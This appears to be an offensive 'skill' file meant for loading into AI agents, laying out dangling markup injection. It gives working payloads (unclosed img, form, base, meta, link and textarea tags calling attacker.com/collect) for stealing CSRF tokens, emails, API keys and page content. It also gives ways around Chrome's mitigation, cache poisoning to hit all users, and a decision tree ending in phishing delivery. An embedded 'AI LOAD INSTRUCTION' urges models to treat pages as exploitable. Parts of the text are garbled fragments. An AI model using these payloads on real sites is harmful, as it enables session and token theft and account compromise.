Loading...
Loading...
Dangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) — exfiltrate CSRF tokens, session data, and page content by injecting unclosed HTML tags that capture subsequent page content.
npx skill4agent add yaklang/hack-skills dangling-markup-injectionAI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.
<script>onerroronloadsrchrefactionPage before injection:
<div>Hello USER_INPUT</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="user@target.com">
</form>
Injected payload:
<img src="https://attacker.com/collect?
Resulting HTML:
<div>Hello <img src="https://attacker.com/collect?</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="user@target.com">
</form>
...rest of page until next matching quote (")...https://attacker.com/collect?"attacker.com<!-- Double-quote context -->
<img src="https://attacker.com/collect?
<!-- Single-quote context -->
<img src='https://attacker.com/collect?
<!-- Backtick context (IE only, legacy) -->
<img src=`https://attacker.com/collect?attacker.comimg-src<form action="https://attacker.com/collect">
<button>Click to continue</button>
<!--</form>form-action<base href="https://attacker.com/"><script src="/js/app.js">https://attacker.com/js/app.js<a href="/profile">https://attacker.com/profile<form action="/submit">https://attacker.com/submitbase-uri<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?navigate-to<link rel="stylesheet" href="https://attacker.com/collect?style-src<table background="https://attacker.com/collect?backgroundimg-src<video poster="https://attacker.com/collect?
<audio src="https://attacker.com/collect?media-srcimg-src| Target Data | How It Appears in Page | Steal Technique |
|---|---|---|
| CSRF token | | Dangling |
| Pre-filled email | | Dangling tag before the input |
| API keys in page | | Dangling tag before the script block |
| Session ID in hidden field | | Dangling tag before the form |
| Auto-filled passwords | Browser auto-fills password field | |
| OAuth state/tokens | In URL parameters or hidden form fields | Dangling tag on authorization page |
| Internal URLs/paths | Links, script sources, API endpoints | |
| Browser | Behavior |
|---|---|
| Chrome/Chromium | Blocks dangling markup in |
| Firefox | More permissive with dangling markup in image sources. Allows newlines in attribute values. |
| Safari | Similar to Chrome's restrictions. May handle some edge cases differently. |
| Edge (Chromium) | Same as Chrome behavior. |
<\n\r<form action><img src>"'<form action="https://attacker.com/collect"><textarea name="data"><!-- --><style>@import url("https://attacker.com/?<iframe src="https://target.com/page" name="window.name| Limitation | Detail |
|---|---|
| Same-origin content only | Dangling markup only captures content from the same HTTP response |
| Quote matching | Consumption stops at the next matching quote character — may not reach target data |
| CSP img-src/form-action | Strict CSP can block most exfiltration vectors |
| Chrome's dangling markup mitigation | Blocks |
| Injection point must be before target data | Can only capture content that appears after the injection in HTML source order |
| Content encoding | URL-unsafe characters in captured content may be mangled |
1. Inject <img src="https://target.com/redirect?url=https://attacker.com/collect?
2. Open redirect on target.com makes the request "same-origin" for some CSP checks
3. Redirect sends captured data to attacker1. Find reflected HTML injection point
2. Inject dangling markup payload
3. If response is cached, ALL users see the dangling markup
4. Tokens/data from all victims exfiltrated1. Use dangling markup to steal CSRF token from page
2. Use stolen token to perform CSRF attack
3. Allows CSRF even when tokens are properly implemented1. Inject <form action="https://attacker.com/collect"><textarea name="data">
2. Frame the page (if frame-ancestors allows)
3. Trick user into clicking "Submit" via clickjacking overlay
4. Form submits all captured page content to attackerHTML injection exists but XSS is blocked (CSP/sanitizer/WAF)?
│
├── Identify injection context
│ ├── Inside attribute value? → Break out first: "><img src="https://attacker.com/collect?
│ ├── Inside tag content? → Inject directly: <img src="https://attacker.com/collect?
│ └── Inside script block? → Close script first: </script><img src="...
│
├── What sensitive data exists AFTER injection point?
│ ├── CSRF tokens → HIGH VALUE: steal token → CSRF attack
│ ├── User PII (email, name) → data theft
│ ├── API keys / secrets → account compromise
│ ├── No sensitive data after injection → dangling markup not useful here
│ └── Check different pages — injection may be on a page with sensitive data
│
├── Choose exfiltration vector based on CSP
│ ├── No CSP / lax CSP → <img src="... (simplest)
│ ├── img-src restricted?
│ │ ├── form-action unrestricted? → <form action="attacker"><textarea name=d>
│ │ ├── base-uri unrestricted? → <base href="attacker">
│ │ └── style-src unrestricted? → <link rel=stylesheet href="...
│ ├── Strict CSP on all directives?
│ │ ├── meta refresh? → <meta http-equiv="refresh" content="0;url=attacker?
│ │ ├── DNS prefetch? → <link rel=dns-prefetch href="//data.attacker.com">
│ │ └── Window.name via iframe? → <iframe name="...
│ └── Nothing works? → dangling markup blocked, try other approaches
│
├── Handle Chrome's dangling markup mitigation
│ ├── Target uses Chrome? → Avoid <img src= with < or newlines
│ ├── Use <form action=> instead (not blocked)
│ ├── Use <base href=> (not blocked)
│ └── Test in Firefox as fallback (more permissive)
│
├── Choose quote type for maximum capture
│ ├── Target data uses double quotes? → Inject with single quote: <img src='...
│ ├── Target data uses single quotes? → Inject with double quote: <img src="...
│ └── Mixed quotes? → Test both, see which captures more useful data
│
└── Amplification
├── Response cached? → Poison cache → steal from multiple victims
├── Stored injection? → Every page view exfiltrates
└── Reflected only? → Deliver via phishing link<img src=<form action=<base href=<meta http-equiv=refresh>"'<textarea>namewindow.name<link rel=dns-prefetch href="//stolen-data.attacker.com">